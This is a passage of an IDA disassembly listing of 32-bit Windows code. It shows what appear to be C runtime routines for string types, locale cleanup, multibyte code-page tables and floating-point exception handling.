[edi+edi] mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_41E090 mov [ebp+ms_exc.old_esp], esp mov esi, esp mov [ebp+var_2C], esi push ebx push 0 push esi call sub_41C6D0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_4243A3 ; --------------------------------------------------------------------------- loc_42438E: ; DATA XREF: .text:stru_42A6D8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_424392: ; DATA XREF: .text:stru_42A6D8o mov esp, [ebp+ms_exc.old_esp] call sub_425CAB xor esi, esi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_28] loc_4243A3: ; CODE XREF: sub_4242B5+D7j test esi, esi jnz short loc_4243BE push edi push 2 call sub_421909 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_42441E mov [ebp+var_20], 1 loc_4243BE: ; CODE XREF: sub_4242B5+F0j push edi push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_429124 ; MultiByteToWideChar test eax, eax jz short loc_4243E6 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_429034 ; GetStringTypeW mov [ebp+var_24], eax loc_4243E6: ; CODE XREF: sub_4242B5+11Ej cmp [ebp+var_20], 0 jz short loc_4243F3 push esi call sub_41C2DD pop ecx loc_4243F3: ; CODE XREF: sub_4242B5+135j mov eax, [ebp+var_24] jmp short loc_424466 ; --------------------------------------------------------------------------- loc_4243F8: ; CODE XREF: sub_4242B5+53j ; sub_4242B5+5Bj mov ebx, [ebp+arg_14] cmp ebx, esi jnz short loc_424405 mov ebx, ds:dword_435884 loc_424405: ; CODE XREF: sub_4242B5+148j mov edi, [ebp+arg_10] test edi, edi jnz short loc_424412 mov edi, ds:dword_435894 loc_424412: ; CODE XREF: sub_4242B5+155j push ebx call sub_425A9F pop ecx cmp eax, 0FFFFFFFFh jnz short loc_424422 loc_42441E: ; CODE XREF: sub_4242B5+64j ; sub_4242B5+A5j ... xor eax, eax jmp short loc_424466 ; --------------------------------------------------------------------------- loc_424422: ; CODE XREF: sub_4242B5+167j cmp eax, edi jz short loc_424444 push 0 push 0 lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push edi call sub_425AE2 add esp, 18h mov esi, eax test esi, esi jz short loc_42441E mov [ebp+arg_4], esi loc_424444: ; CODE XREF: sub_4242B5+16Fj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push ebx call ds:dword_429038 ; GetStringTypeA mov edi, eax test esi, esi jz short loc_424464 push esi call sub_41C2DD pop ecx loc_424464: ; CODE XREF: sub_4242B5+1A6j mov eax, edi loc_424466: ; CODE XREF: sub_4242B5+141j ; sub_4242B5+16Bj lea esp, [ebp-38h] call __SEH_epilog retn sub_4242B5 endp ; =============== S U B R O U T I N E ======================================= sub_42446F proc near ; CODE XREF: sub_4201B1+B7p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_4245FD push dword ptr [esi+4] call sub_41C2DD push dword ptr [esi+8] call sub_41C2DD push dword ptr [esi+0Ch] call sub_41C2DD push dword ptr [esi+10h] call sub_41C2DD push dword ptr [esi+14h] call sub_41C2DD push dword ptr [esi+18h] call sub_41C2DD push dword ptr [esi] call sub_41C2DD push dword ptr [esi+20h] call sub_41C2DD push dword ptr [esi+24h] call sub_41C2DD push dword ptr [esi+28h] call sub_41C2DD push dword ptr [esi+2Ch] call sub_41C2DD push dword ptr [esi+30h] call sub_41C2DD push dword ptr [esi+34h] call sub_41C2DD push dword ptr [esi+1Ch] call sub_41C2DD push dword ptr [esi+38h] call sub_41C2DD push dword ptr [esi+3Ch] call sub_41C2DD add esp, 40h push dword ptr [esi+40h] call sub_41C2DD push dword ptr [esi+44h] call sub_41C2DD push dword ptr [esi+48h] call sub_41C2DD push dword ptr [esi+4Ch] call sub_41C2DD push dword ptr [esi+50h] call sub_41C2DD push dword ptr [esi+54h] call sub_41C2DD push dword ptr [esi+58h] call sub_41C2DD push dword ptr [esi+5Ch] call sub_41C2DD push dword ptr [esi+60h] call sub_41C2DD push dword ptr [esi+64h] call sub_41C2DD push dword ptr [esi+68h] call sub_41C2DD push dword ptr [esi+6Ch] call sub_41C2DD push dword ptr [esi+70h] call sub_41C2DD push dword ptr [esi+74h] call sub_41C2DD push dword ptr [esi+78h] call sub_41C2DD push dword ptr [esi+7Ch] call sub_41C2DD add esp, 40h push dword ptr [esi+80h] call sub_41C2DD push dword ptr [esi+84h] call sub_41C2DD push dword ptr [esi+88h] call sub_41C2DD push dword ptr [esi+8Ch] call sub_41C2DD push dword ptr [esi+90h] call sub_41C2DD push dword ptr [esi+94h] call sub_41C2DD push dword ptr [esi+98h] call sub_41C2DD push dword ptr [esi+9Ch] call sub_41C2DD push dword ptr [esi+0A0h] call sub_41C2DD push dword ptr [esi+0A4h] call sub_41C2DD push dword ptr [esi+0A8h] call sub_41C2DD add esp, 2Ch loc_4245FD: ; CODE XREF: sub_42446F+7j pop esi retn sub_42446F endp ; =============== S U B R O U T I N E ======================================= sub_4245FF proc near ; CODE XREF: sub_4201B1+5Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42465C mov eax, [esi] mov ecx, ds:off_433A84 cmp eax, [ecx] jz short loc_424623 cmp eax, ds:off_433A54 jz short loc_424623 push eax call sub_41C2DD pop ecx loc_424623: ; CODE XREF: sub_4245FF+13j ; sub_4245FF+1Bj mov eax, [esi+4] mov ecx, ds:off_433A84 cmp eax, [ecx+4] jz short loc_424640 cmp eax, ds:off_433A58 jz short loc_424640 push eax call sub_41C2DD pop ecx loc_424640: ; CODE XREF: sub_4245FF+30j ; sub_4245FF+38j mov esi, [esi+8] mov eax, ds:off_433A84 cmp esi, [eax+8] jz short loc_42465C cmp esi, ds:off_433A5C jz short loc_42465C push esi call sub_41C2DD pop ecx loc_42465C: ; CODE XREF: sub_4245FF+7j ; sub_4245FF+4Cj ... pop esi retn sub_4245FF endp ; =============== S U B R O U T I N E ======================================= sub_42465E proc near ; CODE XREF: sub_4201B1+3Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_424735 mov eax, [esi+0Ch] mov ecx, ds:off_433A84 cmp eax, [ecx+0Ch] jz short loc_424688 cmp eax, ds:off_433A60 jz short loc_424688 push eax call sub_41C2DD pop ecx loc_424688: ; CODE XREF: sub_42465E+19j ; sub_42465E+21j mov eax, [esi+10h] mov ecx, ds:off_433A84 cmp eax, [ecx+10h] jz short loc_4246A5 cmp eax, ds:off_433A64 jz short loc_4246A5 push eax call sub_41C2DD pop ecx loc_4246A5: ; CODE XREF: sub_42465E+36j ; sub_42465E+3Ej mov eax, [esi+14h] mov ecx, ds:off_433A84 cmp eax, [ecx+14h] jz short loc_4246C2 cmp eax, ds:off_433A68 jz short loc_4246C2 push eax call sub_41C2DD pop ecx loc_4246C2: ; CODE XREF: sub_42465E+53j ; sub_42465E+5Bj mov eax, [esi+18h] mov ecx, ds:off_433A84 cmp eax, [ecx+18h] jz short loc_4246DF cmp eax, ds:off_433A6C jz short loc_4246DF push eax call sub_41C2DD pop ecx loc_4246DF: ; CODE XREF: sub_42465E+70j ; sub_42465E+78j mov eax, [esi+1Ch] mov ecx, ds:off_433A84 cmp eax, [ecx+1Ch] jz short loc_4246FC cmp eax, ds:off_433A70 jz short loc_4246FC push eax call sub_41C2DD pop ecx loc_4246FC: ; CODE XREF: sub_42465E+8Dj ; sub_42465E+95j mov eax, [esi+20h] mov ecx, ds:off_433A84 cmp eax, [ecx+20h] jz short loc_424719 cmp eax, ds:off_433A74 jz short loc_424719 push eax call sub_41C2DD pop ecx loc_424719: ; CODE XREF: sub_42465E+AAj ; sub_42465E+B2j mov esi, [esi+24h] mov eax, ds:off_433A84 cmp esi, [eax+24h] jz short loc_424735 cmp esi, ds:off_433A78 jz short loc_424735 push esi call sub_41C2DD pop ecx loc_424735: ; CODE XREF: sub_42465E+7j ; sub_42465E+C6j ... pop esi retn sub_42465E endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_424754: ; CODE XREF: .text:00424761j mov al, [edx] or al, al jz short loc_424763 add edx, 1 bts [esp], eax jmp short loc_424754 ; --------------------------------------------------------------------------- loc_424763: ; CODE XREF: .text:00424758j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_42476C: ; CODE XREF: .text:0042477Cj add ecx, 1 mov al, [esi] or al, al jz short loc_42477E add esi, 1 bt [esp], eax jnb short loc_42476C loc_42477E: ; CODE XREF: .text:00424773j mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_4247A4: ; CODE XREF: .text:004247B1j mov al, [edx] or al, al jz short loc_4247B3 add edx, 1 bts [esp], eax jmp short loc_4247A4 ; --------------------------------------------------------------------------- loc_4247B3: ; CODE XREF: .text:004247A8j mov esi, [ebp+8] mov edi, edi loc_4247B8: ; CODE XREF: .text:004247C5j mov al, [esi] or al, al jz short loc_4247CA add esi, 1 bt [esp], eax jnb short loc_4247B8 lea eax, [esi-1] loc_4247CA: ; CODE XREF: .text:004247BCj add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_4247D0 proc near ; CODE XREF: sub_424A23+FCp ; sub_424A23+146p sub eax, 3A4h jz short loc_4247F9 sub eax, 4 jz short loc_4247F3 sub eax, 0Dh jz short loc_4247ED dec eax jz short loc_4247E7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4247E7: ; CODE XREF: sub_4247D0+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4247ED: ; CODE XREF: sub_4247D0+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4247F3: ; CODE XREF: sub_4247D0+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4247F9: ; CODE XREF: sub_4247D0+5j mov eax, 411h retn sub_4247D0 endp ; =============== S U B R O U T I N E ======================================= sub_4247FF proc near ; CODE XREF: sub_424A23:loc_424B95p push edi push 40h xor eax, eax pop ecx mov edi, offset byte_438220 rep stosd stosb xor eax, eax mov ds:dword_438324, eax mov ds:dword_438208, eax mov ds:dword_438200, eax mov edi, offset word_438330 stosd stosd stosd pop edi retn sub_4247FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424828 proc near ; CODE XREF: sub_424A23:loc_424B9Ap var_518 = word ptr -518h var_318 = byte ptr -318h var_218 = byte ptr -218h var_118 = byte ptr -118h var_18 = byte ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 518h mov eax, ds:dword_433148 mov [ebp+var_4], eax push esi lea eax, [ebp+var_18] push eax push ds:dword_438324 call ds:dword_429030 ; GetCPInfo cmp eax, 1 mov esi, 100h jnz loc_424965 xor eax, eax loc_42485A: ; CODE XREF: sub_424828+3Cj mov [ebp+eax+var_118], al inc eax cmp eax, esi jb short loc_42485A mov al, [ebp+var_12] test al, al mov [ebp+var_118], 20h jz short loc_4248AA push ebx lea edx, [ebp+var_11] push edi loc_424879: ; CODE XREF: sub_424828+7Ej movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4248A0 sub ecx, eax inc ecx mov ebx, ecx shr ecx, 2 lea edi, [ebp+eax+var_118] mov eax, 20202020h rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4248A0: ; CODE XREF: sub_424828+59j inc edx mov al, [edx] inc edx test al, al jnz short loc_424879 pop edi pop ebx loc_4248AA: ; CODE XREF: sub_424828+4Aj push 0 push ds:dword_438200 lea eax, [ebp+var_518] push ds:dword_438324 push eax push esi lea eax, [ebp+var_118] push eax push 1 call sub_4242B5 push 0 push ds:dword_438324 lea eax, [ebp+var_218] push esi push eax push esi lea eax, [ebp+var_118] push eax push esi push ds:dword_438200 call sub_421354 push 0 push ds:dword_438324 lea eax, [ebp+var_318] push esi push eax push esi lea eax, [ebp+var_118] push eax push 200h push ds:dword_438200 call sub_421354 add esp, 5Ch xor eax, eax loc_42491F: ; CODE XREF: sub_424828+139j mov cx, [ebp+eax*2+var_518] test cl, 1 jz short loc_424942 or ds:byte_438221[eax], 10h mov cl, [ebp+eax+var_218] loc_42493A: ; CODE XREF: sub_424828+12Dj mov ds:byte_438340[eax], cl jmp short loc_42495E ; --------------------------------------------------------------------------- loc_424942: ; CODE XREF: sub_424828+102j test cl, 2 jz short loc_424957 or ds:byte_438221[eax], 20h mov cl, [ebp+eax+var_318] jmp short loc_42493A ; --------------------------------------------------------------------------- loc_424957: ; CODE XREF: sub_424828+11Dj mov ds:byte_438340[eax], 0 loc_42495E: ; CODE XREF: sub_424828+118j inc eax cmp eax, esi jb short loc_42491F jmp short loc_4249A9 ; --------------------------------------------------------------------------- loc_424965: ; CODE XREF: sub_424828+2Aj xor eax, eax loc_424967: ; CODE XREF: sub_424828+17Fj cmp eax, 41h jb short loc_424985 cmp eax, 5Ah ja short loc_424985 or ds:byte_438221[eax], 10h mov cl, al add cl, 20h loc_42497D: ; CODE XREF: sub_424828+173j mov ds:byte_438340[eax], cl jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_424985: ; CODE XREF: sub_424828+142j ; sub_424828+147j cmp eax, 61h jb short loc_42499D cmp eax, 7Ah ja short loc_42499D or ds:byte_438221[eax], 20h mov cl, al sub cl, 20h jmp short loc_42497D ; --------------------------------------------------------------------------- loc_42499D: ; CODE XREF: sub_424828+160j ; sub_424828+165j mov ds:byte_438340[eax], 0 loc_4249A4: ; CODE XREF: sub_424828+15Bj inc eax cmp eax, esi jb short loc_424967 loc_4249A9: ; CODE XREF: sub_424828+13Bj mov ecx, [ebp+var_4] pop esi call sub_41E5BB leave retn sub_424828 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249B4 proc near ; CODE XREF: sub_421A4C+16p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_42A7E0 call __SEH_prolog push 0Dh call sub_41E983 pop ecx and [ebp+ms_exc.disabled], 0 call sub_4203B6 mov edi, eax mov [ebp+var_20], edi mov esi, [edi+60h] mov [ebp+var_1C], esi cmp esi, ds:dword_438204 jz short loc_424A06 test esi, esi jz short loc_4249F3 dec dword ptr [esi] jnz short loc_4249F3 push esi call sub_41C2DD pop ecx loc_4249F3: ; CODE XREF: sub_4249B4+32j ; sub_4249B4+36j mov eax, ds:dword_438204 mov [edi+60h], eax mov esi, ds:dword_438204 mov [ebp+var_1C], esi inc dword ptr [esi] loc_424A06: ; CODE XREF: sub_4249B4+2Ej or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_424A1A mov eax, esi call __SEH_epilog retn sub_4249B4 endp ; =============== S U B R O U T I N E ======================================= sub_424A17 proc near ; DATA XREF: .text:stru_42A7E0o mov esi, [ebp-1Ch] sub_424A17 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424A1A proc near ; CODE XREF: sub_4249B4+56p push 0Dh call sub_41E8CE pop ecx retn sub_424A1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A23 proc near ; CODE XREF: sub_424BB3+9Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, ds:dword_433148 push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx mov [ebp+var_4], eax push edi jz loc_424B95 xor edx, edx xor eax, eax loc_424A45: ; CODE XREF: sub_424A23+33j cmp ds:dword_433AB8[eax], esi jz short loc_424AB2 add eax, 30h inc edx cmp eax, 0F0h jb short loc_424A45 lea eax, [ebp+var_18] push eax push esi call ds:dword_429030 ; GetCPInfo cmp eax, 1 jnz loc_424B8D push 40h xor eax, eax cmp [ebp+var_18], 1 pop ecx mov edi, offset byte_438220 rep stosd stosb mov ds:dword_438324, esi mov ds:dword_438200, ebx jbe loc_424B7B cmp [ebp+var_12], 0 jz loc_424B53 lea ecx, [ebp+var_11] loc_424A9C: ; CODE XREF: sub_424A23+12Aj mov dl, [ecx] test dl, dl jz loc_424B53 movzx eax, byte ptr [ecx-1] movzx edx, dl jmp loc_424B43 ; --------------------------------------------------------------------------- loc_424AB2: ; CODE XREF: sub_424A23+28j push 40h xor eax, eax pop ecx mov edi, offset byte_438220 rep stosd lea ecx, [edx+edx*2] shl ecx, 4 mov [ebp+var_1C], ebx stosb lea ebx, dword_433AC8[ecx] loc_424ACE: ; CODE XREF: sub_424A23+E8j mov al, [ebx] mov esi, ebx jmp short loc_424AFD ; --------------------------------------------------------------------------- loc_424AD4: ; CODE XREF: sub_424A23+DCj mov dl, [esi+1] test dl, dl jz short loc_424B01 movzx eax, al movzx edi, dl cmp eax, edi ja short loc_424AF9 mov edx, [ebp+var_1C] mov dl, ds:byte_433AB0[edx] loc_424AEE: ; CODE XREF: sub_424A23+D4j or ds:byte_438221[eax], dl inc eax cmp eax, edi jbe short loc_424AEE loc_424AF9: ; CODE XREF: sub_424A23+C0j inc esi inc esi mov al, [esi] loc_424AFD: ; CODE XREF: sub_424A23+AFj test al, al jnz short loc_424AD4 loc_424B01: ; CODE XREF: sub_424A23+B6j inc [ebp+var_1C] add ebx, 8 cmp [ebp+var_1C], 4 jb short loc_424ACE mov eax, [ebp+arg_0] mov ds:dword_438324, eax mov ds:dword_438208, 1 call sub_4247D0 lea ecx, dword_433ABC[ecx] mov esi, ecx mov edi, offset word_438330 movsd movsd mov ds:dword_438200, eax movsd jmp short loc_424B9A ; --------------------------------------------------------------------------- loc_424B3B: ; CODE XREF: sub_424A23+122j or ds:byte_438221[eax], 4 inc eax loc_424B43: ; CODE XREF: sub_424A23+8Aj cmp eax, edx jbe short loc_424B3B inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_424A9C loc_424B53: ; CODE XREF: sub_424A23+70j ; sub_424A23+7Dj xor ecx, ecx inc ecx mov eax, ecx loc_424B58: ; CODE XREF: sub_424A23+142j or ds:byte_438221[eax], 8 inc eax cmp eax, 0FFh jb short loc_424B58 mov eax, esi call sub_4247D0 mov ds:dword_438200, eax mov ds:dword_438208, ecx jmp short loc_424B81 ; --------------------------------------------------------------------------- loc_424B7B: ; CODE XREF: sub_424A23+66j mov ds:dword_438208, ebx loc_424B81: ; CODE XREF: sub_424A23+156j xor eax, eax mov edi, offset word_438330 stosd stosd stosd jmp short loc_424B9A ; --------------------------------------------------------------------------- loc_424B8D: ; CODE XREF: sub_424A23+43j cmp ds:dword_4358C0, ebx jz short loc_424BA3 loc_424B95: ; CODE XREF: sub_424A23+18j call sub_4247FF loc_424B9A: ; CODE XREF: sub_424A23+116j ; sub_424A23+168j call sub_424828 xor eax, eax jmp short loc_424BA6 ; --------------------------------------------------------------------------- loc_424BA3: ; CODE XREF: sub_424A23+170j or eax, 0FFFFFFFFh loc_424BA6: ; CODE XREF: sub_424A23+17Ej mov ecx, [ebp+var_4] pop edi pop esi pop ebx call sub_41E5BB leave retn sub_424A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BB3 proc near ; CODE XREF: sub_424D03+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 14h push offset stru_42A7F0 call __SEH_prolog or [ebp+var_20], 0FFFFFFFFh push 0Dh call sub_41E983 pop ecx xor edi, edi mov [ebp+ms_exc.disabled], edi mov ds:dword_4358C0, edi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_424BF0 mov ds:dword_4358C0, 1 call ds:dword_42902C ; GetOEMCP jmp short loc_424C1B ; --------------------------------------------------------------------------- loc_424BF0: ; CODE XREF: sub_424BB3+29j cmp eax, 0FFFFFFFDh jnz short loc_424C07 mov ds:dword_4358C0, 1 call ds:dword_429088 ; GetACP jmp short loc_424C1B ; --------------------------------------------------------------------------- loc_424C07: ; CODE XREF: sub_424BB3+40j cmp eax, 0FFFFFFFCh jnz short loc_424C1B mov ds:dword_4358C0, 1 mov eax, ds:dword_435894 loc_424C1B: ; CODE XREF: sub_424BB3+3Bj ; sub_424BB3+52j ... mov [ebp+arg_0], eax cmp eax, ds:dword_438324 jz loc_424CE5 mov esi, ds:dword_438204 mov [ebp+var_24], esi cmp esi, edi jz short loc_424C3B cmp [esi], edi jz short loc_424C4B loc_424C3B: ; CODE XREF: sub_424BB3+82j push 220h call sub_41D0C4 pop ecx mov esi, eax mov [ebp+var_24], esi loc_424C4B: ; CODE XREF: sub_424BB3+86j cmp esi, edi jz short loc_424CCE push [ebp+arg_0] call sub_424A23 pop ecx mov [ebp+var_20], eax cmp eax, edi jnz short loc_424CCE mov [esi], edi mov eax, ds:dword_438324 mov [esi+4], eax mov eax, ds:dword_438208 mov [esi+8], eax mov eax, ds:dword_438200 mov [esi+0Ch], eax xor eax, eax loc_424C7B: ; CODE XREF: sub_424BB3+DEj mov [ebp+var_1C], eax cmp eax, 5 jge short loc_424C93 mov cx, ds:word_438330[eax*2] mov [esi+eax*2+10h], cx inc eax jmp short loc_424C7B ; --------------------------------------------------------------------------- loc_424C93: ; CODE XREF: sub_424BB3+CEj xor eax, eax loc_424C95: ; CODE XREF: sub_424BB3+F7j mov [ebp+var_1C], eax cmp eax, 101h jge short loc_424CAC mov cl, ds:byte_438220[eax] mov [eax+esi+1Ch], cl inc eax jmp short loc_424C95 ; --------------------------------------------------------------------------- loc_424CAC: ; CODE XREF: sub_424BB3+EAj xor eax, eax loc_424CAE: ; CODE XREF: sub_424BB3+113j mov [ebp+var_1C], eax cmp eax, 100h jge short loc_424CC8 mov cl, ds:byte_438340[eax] mov [eax+esi+11Dh], cl inc eax jmp short loc_424CAE ; --------------------------------------------------------------------------- loc_424CC8: ; CODE XREF: sub_424BB3+103j mov ds:dword_438204, esi loc_424CCE: ; CODE XREF: sub_424BB3+9Aj ; sub_424BB3+AAj cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_424CE8 cmp esi, ds:dword_438204 jz short loc_424CE8 push esi call sub_41C2DD pop ecx jmp short loc_424CE8 ; --------------------------------------------------------------------------- loc_424CE5: ; CODE XREF: sub_424BB3+71j mov [ebp+var_20], edi loc_424CE8: ; CODE XREF: sub_424BB3+11Fj ; sub_424BB3+127j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_424CFA mov eax, [ebp+var_20] call __SEH_epilog retn sub_424BB3 endp ; =============== S U B R O U T I N E ======================================= sub_424CFA proc near ; CODE XREF: sub_424BB3+139p ; DATA XREF: .text:stru_42A7F0o push 0Dh call sub_41E8CE pop ecx retn sub_424CFA endp ; =============== S U B R O U T I N E ======================================= sub_424D03 proc near ; CODE XREF: sub_42266B+Cp ; sub_4226C8+Dp ... cmp ds:dword_439598, 0 jnz short loc_424D1E push 0FFFFFFFDh call sub_424BB3 pop ecx mov ds:dword_439598, 1 loc_424D1E: ; CODE XREF: sub_424D03+7j xor eax, eax retn sub_424D03 endp ; =============== S U B R O U T I N E ======================================= sub_424D21 proc near ; CODE XREF: sub_42068C+11Ap ; sub_42068C+1D5p ... xor eax, eax retn sub_424D21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D24 proc near ; CODE XREF: sub_425333+4Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax mov [ecx+4], eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov ecx, [ebp+arg_0] push ebx xor ebx, ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] push esi inc ebx test cl, 10h push edi jz short loc_424D56 mov eax, [ebp+arg_0] or [eax+4], ebx mov [ebp+arg_8], 0C000008Fh loc_424D56: ; CODE XREF: sub_424D24+23j test cl, 2 jz short loc_424D69 mov eax, [ebp+arg_0] or dword ptr [eax+4], 2 mov [ebp+arg_8], 0C0000093h loc_424D69: ; CODE XREF: sub_424D24+35j test cl, bl jz short loc_424D7B mov eax, [ebp+arg_0] or dword ptr [eax+4], 4 mov [ebp+arg_8], 0C0000091h loc_424D7B: ; CODE XREF: sub_424D24+47j test cl, 4 jz short loc_424D8E mov eax, [ebp+arg_0] or dword ptr [eax+4], 8 mov [ebp+arg_8], 0C000008Eh loc_424D8E: ; CODE XREF: sub_424D24+5Aj test cl, 8 jz short loc_424DA1 mov eax, [ebp+arg_0] or dword ptr [eax+4], 10h mov [ebp+arg_8], 0C0000090h loc_424DA1: ; CODE XREF: sub_424D24+6Dj mov esi, [ebp+arg_4] mov ecx, [esi] mov eax, [ebp+arg_0] shl ecx, 4 not ecx xor ecx, [eax+8] push 2 and ecx, 10h xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shl ecx, 1 not ecx xor ecx, [eax+8] pop edi and ecx, 8 xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 1 not ecx xor ecx, [eax+8] and ecx, 4 xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 3 not ecx xor ecx, [eax+8] and ecx, edi xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 5 not ecx xor ecx, [eax+8] and ecx, ebx xor [eax+8], ecx call sub_42553D test al, bl jz short loc_424E12 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_424E12: ; CODE XREF: sub_424D24+E5j test al, 4 jz short loc_424E1D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_424E1D: ; CODE XREF: sub_424D24+F0j test al, 8 jz short loc_424E28 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_424E28: ; CODE XREF: sub_424D24+FBj test al, 10h jz short loc_424E32 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_424E32: ; CODE XREF: sub_424D24+106j test al, 20h jz short loc_424E3C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_424E3C: ; CODE XREF: sub_424D24+110j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_424E7B cmp eax, 400h jz short loc_424E6D cmp eax, 800h jz short loc_424E61 cmp eax, ecx jnz short loc_424E81 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_424E81 ; --------------------------------------------------------------------------- loc_424E61: ; CODE XREF: sub_424D24+12Fj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_424E77 ; --------------------------------------------------------------------------- loc_424E6D: ; CODE XREF: sub_424D24+128j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_424E77: ; CODE XREF: sub_424D24+147j mov [eax], ecx jmp short loc_424E81 ; --------------------------------------------------------------------------- loc_424E7B: ; CODE XREF: sub_424D24+121j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_424E81: ; CODE XREF: sub_424D24+133j ; sub_424D24+13Bj ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_424EAC cmp eax, 200h jz short loc_424E9F cmp eax, ecx jnz short loc_424EB9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_424EB9 ; --------------------------------------------------------------------------- loc_424E9F: ; CODE XREF: sub_424D24+16Dj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_424EB7 ; --------------------------------------------------------------------------- loc_424EAC: ; CODE XREF: sub_424D24+166j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_424EB7: ; CODE XREF: sub_424D24+186j mov [eax], ecx loc_424EB9: ; CODE XREF: sub_424D24+171j ; sub_424D24+179j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] shl ecx, 5 xor ecx, [eax] and ecx, 1FFE0h xor [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+60h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+60h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+60h], ecx fld qword ptr [edi] mov eax, [ebp+arg_0] fstp qword ptr [eax+50h] call sub_425548 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_42908C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_424F2B and dword ptr [esi], 0FFFFFFFEh loc_424F2B: ; CODE XREF: sub_424D24+202j test byte ptr [eax+8], 8 jz short loc_424F34 and dword ptr [esi], 0FFFFFFFBh loc_424F34: ; CODE XREF: sub_424D24+20Bj test byte ptr [eax+8], 4 jz short loc_424F3D and dword ptr [esi], 0FFFFFFF7h loc_424F3D: ; CODE XREF: sub_424D24+214j test byte ptr [eax+8], 2 jz short loc_424F46 and dword ptr [esi], 